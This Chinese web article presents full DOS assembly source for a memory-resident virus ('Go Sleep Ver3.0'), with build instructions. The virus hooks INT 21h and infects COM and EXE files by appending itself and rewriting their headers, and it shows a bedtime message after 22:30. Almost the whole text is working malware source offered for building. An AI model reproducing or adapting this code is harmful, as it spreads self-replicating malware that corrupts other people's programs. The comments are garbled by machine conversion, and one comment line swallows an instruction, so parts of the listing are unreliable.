编写感染COM与EXE文件的病毒的样例程序
;此步伐是d由v0病毒改装晋级而来
;在DOS下才有一定的感染能力
;此步伐部分应用了32位编程
;制作方法如下
;tasm32 dv1;
;tlink dv1;
;Debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒步伐
OFF equ Offset
DosMcb Struc ;Dos内存控制链结构(部分)
Flag db ? ;是"M"则不是最后一块;是 "Z"则是最后一块
Owner dw ? ;是008: 则是系统全部;是0则为未利用内存块
Sizes dw ? ;本块巨细,按节盘算(1节=10h字节)
DosMcb Ends
ExeHeader Struc ;Exe文件头结构
Flags dw "ZM";Exe文件标志
ModSize dw ? ;Exe文件最后一页字节数
Pages dw ? ;Exe文件页数(1页为512字节)
Reloc dw ? ;Exe文件从定位项数
MeSize dw ? ;本文头节数
MinMem dw ? ;该步伐所须最小内存(节)
MaxMem dw ? ;该步伐所须最大内存(节)
StartSs dw ? ;步伐Sp初值
StartSp dw ? ;步伐相对Ss初值
CheckSum dw ? ;文件头检查和
StartIp dw ? ;步伐Ip初值
StartCs dw ? ;步伐相对Cs初值
RelocOff dw ? ;从定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ;(病毒巨细)
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存巨细)
.386
.model small
.code
org 100h ;按COM格式编写
@@Start: ;病毒引导块
pusha ;生存全部通用寄存器
mov ax,4d4dh
int 21h ;是否已经驻留内存(自界说停止)
cmp ax,4d4dh
jz short @@ExecOldApp ;否,调用安装模块
call @@Install
@@ExecOldApp:
mov ah,2ch
int 21h ;得到系统工夫
cmp cx,22*100h+30 ;(Cmp 工夫:22:30)
jb short @@TestFlag ;不到22:30不调用表现音讯
call @@DisplayMsg ;调用表现块
@@TestFlag:
clc ;预设为Clc指令,表示是Com文件(若在感染时被改成Stc则是Exe文件)
jc short @@IsExeApp
@@IsComApp:
call @@GetOldComAppCode
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以前往Dos
dw 0000h ;这里为生存原COM文件头部4字节信息
@@GetOldComAppCode:
pop si ;得到OldAppCode的地点
mov di,100h
cld
lodsd
stosd ;规复原COM头部4字节
popa ;规复全部通用寄器
push word ptr 100h
ret ;去实行原COM步伐
@@IsExeApp:
popa ;规复全部通用寄器
cli ;转变货仓指针时要关闭停止
mov sp,es ;得到Psp( Sp=PSP段址)
add sp,10h
SpAddData dw 0c481h;0bch是add sp,xxxx指令
OldAppSs dw 000h ;原Exe文件Ss相对值
mov ss,sp ;盘算出原步伐货仓并规复
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
OldAppSp dw 000h ;原Exe文件Sp值
sti ;从新开启停止
push ax
mov ax,es ;得到Psp( Ax=PSP段址)
add ax,10h
AxAddData db 005h ;05h是add ax,xxxx指令,盘算原步伐Cs值
OldAppCs dw 000h ;原Exe文件Cs相对值
movzx esp,sp ;转化为32位[esp]式货仓寻址
xchg ax,[esp] ;规复ax,而不克不及用"xchg ax,[sp]"16位不支持[sp]式货仓寻址
PushWordData db 068h ;068h是push word ptr xxxx指令
OldAppIp dw 000h ;原Exe文件Ip值
retf ;去实行原Exe步伐
@@Install:
push ds
push es ;生存段寄存器
mov ax,ds
dec ax ;得到本身的MCB结构段址,它在步伐的PSP前
@@ContFindLastMcb:
mov ds,ax
cmp ds:[Flag],"Z" ;是最后一块吗?
jz short @@FoundLastMcb
add ax,ds:[Sizes]
inc ax ;盘算下一个MCB 的段址=本块段址+本块巨细+1
jmp short @@ContFindLastMcb
@@FoundLastMcb:
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块巨细减去病毒所须内存巨细(节数)
add ax,ds:[Sizes]
inc ax ;盘算出病毒在高端RAM的地点(即在最后一块划出的空间段址)
mov es,ax
xor di,di
push cs
pop ds ;复位数据段
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬运到高端地点
sub ax,10h ;盘算出高端病毒的段地点(为使病毒偏移对齐,以是减去10h)
mov ds,ax
@@ContInstall:
mov ax,3521h
int 21h ;取Int 21h的停止向量,并生存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;设新的Int 21h处置惩罚步伐到@@NewInt21处
pop es
pop ds
ret
@@NewInt21: ;新Int21 h办事步伐(感染块)
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自界说停止,直接前往
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截获4b,43,3d号Dos功效
@@JmpOldInt21:
cli ; 进入Int21h前,需要关停止!
JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模拟Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;入口参数ds:dx=以零末端的Com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找扩展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]
or eax,20202020h ;转化为小写字母
cmp eax,"moc." ;是.com文件吗?
jz short @@IsComFile
cmp eax,"exe." ;是.exe文件吗?
jz short @@IsExeFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打开COM文件
jc short @@OptComFalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示感染的是Com文件
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;读文件首部4字节
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],"ZM" ;是否是EXE文件(是否是Com文件不克不及仅由扩展名果断)
jz short @@CloseComFile ;是就不感染
cmp byte ptr[si+3],"V";是否有已感染病毒标志
jz short @@CloseComFile ;是则说明该步伐已经被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾,前往dx:ax=文件长度
or dx,dx
jnz short @@CloseComFile ;文件太大不感染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不感染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不感染
sub dx,03 ;盘算出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部
@@CloseComFile:
mov ah,3eh
int 21h ;关闭文件
@@OptComFalse:
jmp short @@ExitOpt
@@IsExeFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打开Exe文件
jc @@OptExeFalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示感染的是Exe文件
lea dx,MyExeHeader
mov cx,size ExeHeader
mov ah,3fh
int 21h ;读文件首部4字节
jc @@CloseExeFile
cmp ax,cx
jb @@CloseExeFile
mov si,dx
cmp word ptr[si.Flags],"ZM" ;是否是EXE文件(是否是EXE文件不克不及仅由扩展名果断)
jnz @@CloseExeFile ;不是就不感染
cmp [si.CheckSum],"VV" ;是否有已感染病毒标志
jz @@CloseExeFile ;是则说明该步伐已经被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾,前往dx:ax=文件长度
cmp dx,8h
ja short @@CloseExeFile ;文件太大,大概是Windows应用步伐
shl edx,16
mov dx,ax
push edx ;生存文件巨细
shr edx,4
sub dx,[si.MeSize] ;盘算病毒在该Exe步伐中新的相对Cs
and ax,0fh ;盘算病毒在该Exe步伐中新的Ip值(0=mov cx,dx ;cx=dx=新的相对Cs值
xchg [si.StartCs],dx
mov ds:[OldAppCs],dx ;修正相对Cs值,生存原相对Cs值
xchg [si.StartSs],cx
mov ds:[OldAppSs],cx ;修正相对Ss值,生存原相对Ss值
xchg [si.StartIp],ax
mov ds:[OldAppIp],ax ;修正Ip值,生存原Ip值
xor ax,ax
xchg [si.StartSp],ax ;修正Sp值,生存原Sp值
mov ds:[OldAppSp],ax
mov [si.CheckSum],"VV";设置感染标志
pop edx ;弹出文件巨细
mov ecx,VirusSize
add edx,ecx ;盘算感染后文件的巨细
mov ax,dx
and ax,1ffh ;盘算感染后文件的ModSize
mov [si.ModSize],ax
add edx,1ffh
shr edx,9 ;盘算感染后文件的Pages
mov [si.Pages],dx
lea dx,@@Start
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,size ExeHeader
lea dx,MyExeHeader
mov ah,40h
int 21h ;写文件头到文件首部
@@CloseExeFile:
mov ah,3eh
int 21h ;关闭文件
@@OptExeFalse:
jmp @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近转移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db "V" ;病毒标志为"V"字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@TestFlag ;盘算@@Message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;表现信息,“夜已深,你该睡觉了!”
pop ds
ret
@@Message:
db 0ah,0dh,07h
db "Night is deep,you must go sleep!"
db 0ah,0dh,"$"
db "Go Sleep Ver3.0 by Whg 2001.5.2"
@@End:
MyExeHeader db size ExeHeader dup(?)
@@MemEnd:
end @@Start
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|